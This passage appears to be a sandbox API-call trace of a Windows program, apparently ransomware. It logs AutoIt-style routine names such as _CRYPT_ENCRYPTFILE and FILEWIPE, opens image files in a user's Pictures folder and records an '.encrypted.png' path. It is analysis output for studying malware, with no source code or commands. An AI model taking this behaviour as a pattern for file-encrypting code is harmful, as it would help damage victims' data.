returned 0xf [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.402] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.402] CryptReleaseContext (hProv=0xe8f419a0a0, dwFlags=0x0) returned 1 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.402] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.402] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.405] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.406] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.406] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.406] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.406] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.406] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.406] CharLowerBuffW (in: lpsz="byte[90282]", cchLength=0xb | out: lpsz="byte[90282]") returned 0xb [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.407] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.407] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.407] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.407] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.408] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.408] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.408] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.408] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.408] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.409] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.409] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.411] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.411] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.411] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.412] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.412] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.412] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.412] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.413] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.413] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.413] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.413] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.413] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.413] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.414] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.414] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9040) returned 1 [0028.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.414] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2350, lpOverlapped=0x0) returned 1 [0028.414] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2350, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9040) returned 1 [0028.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.encrypted.png\r\n", cchWideChar=81, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 81 [0028.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.encrypted.png\r\n", cchWideChar=81, lpMultiByteStr=0xe8f40697d0, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\5wDE.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 81 [0028.414] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x50, lpOverlapped=0x0) returned 1 [0028.414] CloseHandle (hObject=0x188) returned 1 [0028.415] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.415] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.416] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.416] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.416] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.416] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.416] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.416] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0028.417] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178880, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0028.417] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0028.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0028.417] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0028.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.gif", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0028.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.gif", cchWideChar=69, lpMultiByteStr=0xe8f40515e0, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.gif", lpUsedDefaultChar=0x0) returned 69 [0028.418] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\phqa.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=69, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0028.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=69, lpWideCharStr=0xe8f405fe00, cchWideChar=69 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\pHQA.gif") returned 69 [0028.418] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.419] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.419] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.419] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0028.419] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0028.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41789c0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0028.419] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0028.419] CloseHandle (hObject=0x188) returned 1 [0028.420] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.420] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.420] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0028.420] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.420] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0028.420] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0028.420] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.421] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.421] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.421] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.421] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.421] CharUpperBuffW (in: 